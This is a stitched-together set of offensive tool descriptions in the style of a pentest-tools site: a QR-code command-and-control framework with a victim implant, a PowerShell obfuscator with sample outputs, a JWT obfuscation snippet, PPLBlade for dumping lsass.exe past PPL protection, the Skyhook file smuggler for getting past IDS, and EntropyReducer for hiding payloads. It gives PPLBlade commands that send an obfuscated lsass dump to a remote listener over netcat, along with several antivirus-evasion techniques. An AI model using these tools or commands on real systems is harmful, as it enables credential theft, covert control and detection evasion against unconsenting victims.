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QuickResponseC2 - A Command & Control Server That Leverages QR Codes To Send Commands And Receive Results From Remote Systems

QuickResponseC2 is a stealthy Command and Control (C2) framework that enables indirect and covert communication between the attacker and victim machines via an intermediate HTTP/S server. All network activity is limited to uploading and downloading images, making it an fully undetectable by IPS/IDS Systems and an ideal tool for security research and penetration testing.

Capabilities:

• Command Execution via QR Codes:
  Users can send custom commands to the victim machine, encoded as QR codes.
  Victims scan the QR code, which triggers the execution of the command on their system.
  The command can be anything from simple queries to complex operations based on the test scenario.

• Result Retrieval:
  Results of the executed command are returned from the victim system and encoded into a QR code.
  The server decodes the result and provides feedback to the attacker for further analysis or follow-up actions.

• Built-in HTTP Server:
  The tool includes a lightweight HTTP server that facilitates the victim machine's retrieval of command QR codes.
  Results are sent back to the server as QR code images, and they are automatically saved with unique filenames for easy management.
  The attacker's machine handles multiple requests, with HTTP logs organized and saved separately.

• Stealthy Communication:
  QuickResponseC2 operates under the radar, with minimal traces, providing a covert way to interact with the victim machine without alerting security defenses.
  Ideal for security assessments or testing command-and-control methodologies without being detected.

• File Handling:
  The tool automatically saves all QR codes (command and result) to the server_files directory, using sequential filenames like command0.png, command1.png, etc.
  Decoding and processing of result files are handled seamlessly.

• User-Friendly Interface:
  The tool is operated via a simple command-line interface, allowing users to set up a C2 server, send commands, and receive results with ease.
  No additional complex configurations or dependencies are needed.

Usage

1. First, install the Dependencies - pip3 install -r requirements.txt
2. Then, run the main.py python3 main.py
3. Choose between the options:

1 - Run the C2 Server

2 - Build the Victim Implant

1. Enjoy!

Demonstration

https://github.com/user-attachments/assets/382e9350-d650-44e5-b8ef-b43ec90b315d

Workflow Overview

1. Initialization of the C2 Server

• The attacker launches QuickResponseC2, which creates a lightweight HTTP server (default port: 8080).
• This server serves as the intermediary between the attacker and victim, eliminating any direct connection between them.

2. Command Delivery via QR Codes

• The attacker encodes a command into a QR code and saves it as commandX.png on the HTTP server.
• The victim machine periodically polls the server (e.g., every 1 second) to check for the presence of a new command file.

3. Victim Command Execution

• Once the victim detects a new QR code file (commandX.png), it downloads and decodes the image to retrieve the command.
• The decoded command is executed on the victim's system.

4. Result Encoding and Uploading

• The victim encodes the output of the executed command into a QR code and saves it locally as resultX.png.
• The result file is then uploaded to the HTTP server.

5. Result Retrieval by the Attacker

• The attacker periodically checks the server for new result files (resultX.png).
• Once found, the result file is downloaded and decoded to retrieve the output of the executed command.

TODO & Contribution

• [x] Generate a Template for the Implant
• [ ] Compile the implant as an .exe automatically
• [x] Save the generated QR Code as bytes in a variable instead of a file - VICTIM Side
• [ ] Add an obfuscation on the commands decoded from the QR Codes automatically

Feel free to fork and contribute! Pull requests are welcome.

KitPloit - PenTest Tools!

Psobf - PowerShell Obfuscator

Tool for obfuscating PowerShell scripts written in Go. The main objective of this program is to obfuscate PowerShell code to make its analysis and detection more difficult. The script offers 5 levels of obfuscation, from basic obfuscation to script fragmentation. This allows users to tailor the obfuscation level to their specific needs.

./psobf -h

    ██████╗ ███████╗ ██████╗ ██████╗ ███████╗
    ██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝
    ██████╔╝███████╗██║   ██║██████╔╝█████╗
    ██╔═══╝ ╚════██║██║   ██║██╔══██╗██╔══╝
    ██║     ███████║╚██████╔╝██████╔╝██║
    ╚═╝     ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝
    @TaurusOmar
    v.1.0                                               

Usage: ./obfuscator -i <inputFile> -o <outputFile> -level <1|2|3|4|5>
Options:
  -i string
        Name of the PowerShell script file.
  -level int
        Obfuscation level (1 to 5). (default 1)
  -o string
        Name of the output file for the obfuscated script. (default "obfuscated.ps1")

Obfuscation levels:
  1: Basic obfuscation by splitting the script into individual characters.
  2: Base64 encoding of the script.
  3: Alternative Base64 encoding with a different PowerShell decoding method.
  4: Compression and Base64 encoding of the script will be decoded and decompressed at runtime.
  5: Fragmentation of the script into multiple parts and reconstruction at runtime.

Features:

• Obfuscation Levels: Four levels of obfuscation, each more complex than the previous one.
  • Level 1 obfuscation by splitting the script into individual characters.
  • Level 2 Base64 encoding of the script.
  • Level 3 Alternative Base64 encoding with a different PowerShell decoding method.
  • Level 4 Compression and Base64 encoding of the script will be decoded and decompressed at runtime.
  • Level 5 Fragmentation of the script into multiple parts and reconstruction at runtime.
• Compression and Encoding: Level 4 includes script compression before encoding it in base64.
• Variable Obfuscation: A function was added to obfuscate the names of variables in the PowerShell script.
• Random String Generation: Random strings are generated for variable name obfuscation.

Install

go install github.com/TaurusOmar/psobf@latest

Example of Obfuscation Levels

The obfuscation levels are divided into 5 options. First, you need to have a PowerShell file that you want to obfuscate. Let's assume you have a file named script.ps1 with the following content:

Write-Host "Hello, World!"

Level 1: Basic Obfuscation

Run the script with level 1 obfuscation.

./obfuscator -i script.ps1 -o obfuscated_level1.ps1 -level 1

This will generate a file named obfuscated_level1.ps1 with the obfuscated content. The result will be a version of your script where each character is separated by commas and combined at runtime.
Result (level 1)

$obfuscated = $([char[]]("`W`,`r`,`i`,`t`,`e`,`-`,`H`,`o`,`s`,`t`,` `,`"`,`H`,`e`,`l`,`l`,`o`,`,` `,`W`,`o`,`r`,`l`,`d`,`!`,`"`") -join ''); Invoke-Expression $obfuscated

Level 2: Base64 Encoding

Run the script with level 2 obfuscation:

./obfuscator -i script.ps1 -o obfuscated_level2.ps1 -level 2

This will generate a file named obfuscated_level2.ps1 with the content encoded in base64. When executing this script, it will be decoded and run at runtime.
Result (level 2)

$obfuscated = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('V3JpdGUtSG9zdCAiSGVsbG8sIFdvcmxkISI=')); Invoke-Expression $obfuscated

Level 3: Alternative Base64 Encoding

Execute the script with level 3 obfuscation:

./obfuscator -i script.ps1 -o obfuscated_level3.ps1 -level 3

This level uses a slightly different form of base64 encoding and decoding in PowerShell, adding an additional layer of obfuscation.
Result (level 3)

$e = [System.Convert]::FromBase64String('V3JpdGUtSG9zdCAiSGVsbG8sIFdvcmxkISI='); $obfuscated = [System.Text.Encoding]::UTF8.GetString($e); Invoke-Expression $obfuscated

Level 4: Compression and Base64 Encoding

Execute the script with level 4 obfuscation:

./obfuscator -i script.ps1 -o obfuscated_level4.ps1 -level 4

This level compresses the script before encoding it in base64, making analysis more complicated. The result will be decoded and decompressed at runtime.
Result (level 4)

$compressed = 'H4sIAAAAAAAAC+NIzcnJVyjPL8pJUQQAlRmFGwwAAAA='; $bytes = [System.Convert]::FromBase64String($compressed); $stream = New-Object IO.MemoryStream(, $bytes); $decompressed = New-Object IO.Compression.GzipStream($stream, [IO.Compression.CompressionMode]::Decompress); $reader = New-Object IO.StreamReader($decompressed); $obfuscated = $reader.ReadToEnd(); Invoke-Expression $obfuscated

Level 5: Script Fragmentation

Run the script with level 5 obfuscation:

./obfuscator -i script.ps1 -o obfuscated_level5.ps1 -level 5

This level fragments the script into multiple parts and reconstructs it at runtime.
Result (level 5)

$fragments = @(
'Write-', 
'Output "', 
'Hello,', 
' Wo', 
'rld!', 
'"'
); 
$script = $fragments -join ''; 
Invoke-Expression $script

This program is provided for educational and research purposes. It should not be used for malicious activities.

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Some-Tweak-To-Hide-Jwt-Payload-Values - A Handful Of Tweaks And Ideas To Safeguard The JWT Payload

• a handful of tweaks and ideas to safeguard the JWT payload, making it futile to attempt decoding by constantly altering its value,
  ensuring the decoded output remains unintelligible while imposing minimal performance overhead.

A JSON Web Token (JWT, pronounced "jot") is a compact and URL-safe way of passing a JSON message between two parties. It's a standard, defined in RFC 7519. The token is a long string, divided into parts separated by dots. Each part is base64 URL-encoded.

What parts the token has depends on the type of the JWT: whether it's a JWS (a signed token) or a JWE (an encrypted token). If the token is signed it will have three sections: the header, the payload, and the signature. If the token is encrypted it will consist of five parts: the header, the encrypted key, the initialization vector, the ciphertext (payload), and the authentication tag. Probably the most common use case for JWTs is to utilize them as access tokens and ID tokens in OAuth and OpenID Connect flows, but they can serve different purposes as well.

This code snippet offers a tweak perspective aiming to enhance the security of the payload section when decoding JWT tokens, where the stored keys are visible in plaintext. This code snippet provides a tweak perspective aiming to enhance the security of the payload section when decoding JWT tokens. Typically, the payload section appears in plaintext when decoded from the JWT token (base64). The main objective is to lightly encrypt or obfuscate the payload values, making it difficult to discern their meaning. The intention is to ensure that even if someone attempts to decode the payload values, they cannot do so easily.

• The code snippet targets the key named "userid" stored in the payload section as an example.
• The choice of "userid" stems from its frequent use for user identification or authentication purposes after validating the token's validity (e.g., ensuring it has not expired).

The idea behind attempting to obscure the value of the key named "userid" is as follows:

• The timestamp is hashed and then encrypted by performing bitwise XOR operation with the user ID.
• XOR operation is performed using a symmetric key.
• The resulting value is then encoded using Base64.

• Encrypted data is decoded using Base64.
• Decryption is performed by XOR operation with the symmetric key.
• The original user ID and hashed timestamp are revealed in plaintext.
• The user ID part is extracted by splitting at the "|" delimiter for relevant use and purposes.

• Various materials can be utilized for this key.
• It could be a salt used in conventional password hashing, an arbitrary random string, a generated UUID, or any other suitable material.
• However, this key should be securely stored in the database management system (DBMS).

and..^^

in the example, the key is shown as { 'userid': 'random_value' },
making it apparent that it represents a user ID.

However, this is merely for illustrative purposes.

In practice, a predetermined and undisclosed name is typically used.
For example, 'a': 'changing_random_value'

• This code snippet is created for educational purposes and serves as a starting point for ideas rather than being inherently secure.
• It provides a level of security beyond plaintext visibility but does not guarantee absolute safety.

Attempting to tamper with JWT tokens generated using this method requires access to both the JWT secret key and the XOR symmetric key used to create the UserID.

• If you find this helpful, please the "star":star2: to support further improvements.

# python3 main.py

- Current Unix Timestamp: 1709160368
- Current Unix Timestamp to Human Readable: 2024-02-29 07:46:08

- userid: 23243232
- XOR Symmetric key: b'generally_user_salt_or_hash_or_random_uuid_this_value_must_be_in_dbms'
- JWT Secret key: yes_your_service_jwt_secret_key

- Encoded UserID and Timestamp: VVZcUUFTX14FOkdEUUFpEVZfTWwKEGkLUxUKawtHOkAAW1RXDGYWQAo=
- Decoded UserID and Hashed Timestamp: 23243232|e27436b7393eb6c2fb4d5e2a508a9c5c

- JWT Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0aW1lc3RhbXAiOiIyMDI0LTAyLTI5IDA3OjQ2OjA4IiwidXNlcmlkIjoiVlZaY1VVRlRYMTRGT2tkRVVVRnBFVlpmVFd3S0VHa0xVeFVLYXd0SE9rQUFXMVJYREdZV1FBbz0ifQ.bM_6cBZHdXhMZjyefr6YO5n5X51SzXjyBUEzFiBaZ7Q
- Decoded JWT: {'timestamp': '2024-02-29 07:46:08', 'userid': 'VVZcUUFTX14FOkdEUUFpEVZfTWwKEGkLUxUKawtHOkAAW1RXDGYWQAo='}


# run again
- Decoded JWT: {'timestamp': '2024-02-29 08:16:36', 'userid': 'VVZcUUFTX14FaRNAVBRpRQcORmtWRGl   eVUtRZlYXaBZZCgYOWGlDR10='}
- Decoded JWT: {'timestamp': '2024-02-29 08:16:51', 'userid': 'VVZcUUFTX14FZxMRVUdnEgJZEmxfRztRVUBabAsRZkdVVlJWWztGQVA='}
- Decoded JWT: {'timestamp': '2024-02-29 08:17:01', 'userid': 'VVZcUUFTX14FbxYQUkM8RVRZEmkLRWsNUBYNb1sQPREFDFYKDmYRQV4='}
- Decoded JWT: {'timestamp': '2024-02-29 08:17:09', 'userid': 'VVZcUUFTX14FbUNEVEVqEFlaTGoKQjxZBRULOlpGPUtSClALWD5GRAs='}

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KitPloit - PenTest Tools!

PPLBlade - Protected Process Dumper Tool

Protected Process Dumper Tool that support obfuscating memory dump and transferring it on remote workstations without dropping it onto the disk.

Key functionalities:

1. Bypassing PPL protection
2. Obfuscating memory dump files to evade Defender signature-based detection mechanisms
3. Uploading memory dump with RAW and SMB upload methods without dropping it onto the disk (fileless dump)

Overview of the techniques, used in this tool can be found here: https://tastypepperoni.medium.com/bypassing-defenders-lsass-dump-detection-and-ppl-protection-in-go-7dd85d9a32e6

Note that PROCEXP15.SYS is listed in the source files for compiling purposes. It does not need to be transferred on the target machine alongside the PPLBlade.exe.

It’s already embedded into the PPLBlade.exe. The exploit is just a single executable.

Modes:

1. Dump - Dump process memory using PID or Process Name
2. Decrypt - Revert obfuscated(--obfuscate) dump file to its original state
3. Cleanup - Do cleanup manually, in case something goes wrong on execution (Note that the option values should be the same as for the execution, we're trying to clean up)
4. DoThatLsassThing - Dump lsass.exe using Process Explorer driver (basic poc)

Handle Modes:

1. Direct - Opens PROCESS_ALL_ACCESS handle directly, using OpenProcess() function
2. Procexp - Uses PROCEXP152.sys to obtain a handle

PPLBlade.exe --mode dothatlsassthing

PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

nc -lnp 1234 > lsass.dmp
python3 deobfuscate.py --dumpname lsass.dmp

PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade

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KitPloit - PenTest Tools!

Skyhook - A Round-Trip Obfuscated HTTP File Transfer Setup Built To Bypass IDS Detections

Skyhook is a REST-driven utility used to smuggle files into and out of networks defended by IDS implementations. It comes with a pre-packaged web client that uses a blend of React, vanilla JS, and web assembly to manage file transfers.

Key Links

• Download here
• See the user documentation to get started

Features

• Round trip file content obfuscation
• User-configurable obfuscation chaining
• Self-signed and Lets Encrypt certificate procurement methods
• Embedded web applications for both configuration and file transfers.
• Server fingerprinting resiliency techniques:
  • Encrypted loaders capable of dynamically encrypting interface files as the file transfer interface is rendered
  • API and web resource path randomization

Brief Description

Note: See the user documentation for more thorough discussion of Skyhook and how it functions.

Skyhook's file transfer server seamlessly obfuscates file content with a user-configured series of obfuscation algorithms prior to writing the content to response bodies. Clients, which are configred with the same obfuscation algorithms, deobfuscate the file content prior to saving the file to disk. A file streaming technique is used to manage the HTTP transactions in a chunked manner, thus facilitating large file transfers.

flowchart

subgraph sg-cloudfront[Cloudfront CDN]
    cf-listener(443/tls)
end

subgraph sg-vps[VPS]
    subgraph sg-skyhook[Skyhook Servers]
        admin-listener(Admin Server<br>45000/tls)
        transfer-listener(Transfer Server<br>45001/tls)
    end

    config-file(Config File<br>/var/skyroot/config.yml)

    admin-listener -..->|Reads &<br>Manages| config-file

    webroot(Webroot<br>/var/skyhook/webroot)
    transfer-listener -..->|Serves From &<br>Writes Cleartext<br>Files To| webroot
end


    op-browser(Operator<br>Web Browser) -->|Administration<br>Traffic| admin-listener
    op-browser <-->|Obfuscated<br>Data| transfer-listener

subgraph sg-corp[Corporate Environment]
    subgraph sg-compromised[Beachhead Host]
        comp-browser(Web Browser) -->|Reads &<b   r>Writes| cleartext-file(Cleartext Files)
    end
end

comp-browser <-->|Obfuscated<br>Data| cf-listener <-->|Obfuscated<br>Data| transfer-listener

A Brief Example

For example, here is a working obfuscation configuration:

And here is the file transfer interface. Clicking "Download" results in the file being retrieved in chunks that are encrypted with the chain of obfuscation methods configured above.

JavaScript deobfuscates the file before prompting the user to save it to disk.

Below is a request stemming from a download being inspected with Burp. Key elements of the transaction are encrypted to evade detection.

KitPloit - PenTest Tools!

EntropyReducer - Reduce Entropy And Obfuscate Youre Payload With Serialized Linked Lists

EntropyReducer: Reduce The Entropy Of Youre Payload And Obfuscate It With Serialized Linked Lists

How Does It Work

EntropyReducer algorithm is determined by BUFF_SIZE and NULL_BYTES values. The following is how would EntropyReducer organize your payload if BUFF_SIZE was set to 4, and NULL_BYTES to 2.

Obfuscation Algorithm

• EntropyReducer first checks if the input raw payload is of a size that's multiple of BUFF_SIZE, if not, it pads it to be as so.
• It then takes every BUFF_SIZE chunk from the payload, and makes a linked list node for it, using the InitializePayloadList function, initializing the payload as a linked list.
• The created node will have an empty buffer of size NULL_BYTES, that will be used to lower the entropy
• At this point, although EntropyReducer completed its task by lowering the entropy of the payload, it doesn't stop here. It then continues to randomize the order of each node in the linked list, breaking down the raw payload's order. This step is done via a Merge Sort Algorithm that is implemented through the MergeSort function.
• The sorted linked list is in random order because the value in which the linked list is sorted is the XOR value of the first three bytes of the raw payload, this value determines its position in the re-organized linked list, this step can be shown here
• Since saving a linked list to a file is impossible due to the fact that it's linked together by pointers. We are forced to serialize it.
• Serialization of the generated linked list is done via the Obfuscate function here.
• After that, the serialized data is ready to be written to the output file.

Deobfuscation Algorithm

• Since the last step in the Obfuscation Algorithm was serializing the linked list, the first thing that must be done here is to deserialize the obfuscated payload, generating a linked list from it, this step is done here in the Deobfuscate function.
• Next step is to sort the linked list using the node's Id, which is done using the same Merge Sort Algorithm used before.
• Now, the linked list is in the right order to re-construct the payload's bytes as they should. So we simply strip the payload's original bytes from each node, as done here.
• Last step is to free the allocated nodes, which is done here.

Usage

• EntropyReducer simply read the raw payload file from the command line, and writes the obfuscated version to the same file's name prefixed with ".ER".
• The size of the final obfuscated payload varies depending on the values of both BUFF_SIZE and NULL_BYTES. However, it can be determined using the following equation

FinalSize = ((OriginalSize + BUFF_SIZE - OriginalSize % BUFF_SIZE ) / BUFF_SIZE) * (BUFF_SIZE + NULL_BYTES + sizeof(INT))

• The PoC project in this repo is used to execute the ".ER" file generated as an example of deserializing and deobfuscating it.

Include In Your Projects

All you have to do is add EntropyReducer.c and EntropyReducer.h files to your project, and call the Deobfuscate function. You can check PoC/main.c for reference.

Output Example

In this example, BUFF_SIZE was set to 3, and NULL_BYTES to 1.

• The raw payload, first payload chunk (FC 48 83)

• The same payload chunk, but at a different offset

Profit

• The x64 calc shellcode generated by metasploit is of entropy 5.883, view by pestudio.

• The same file, AES encrypted, scores entropy of 7.110.

• Nearly the same result with the RC4 algorithm as well; 7.210

• Using EntropyReducer however, scoring entropy even lower that that of the original raw payload; 4.093

The Merge Sort Algorithm Is Taken From c-linked-list.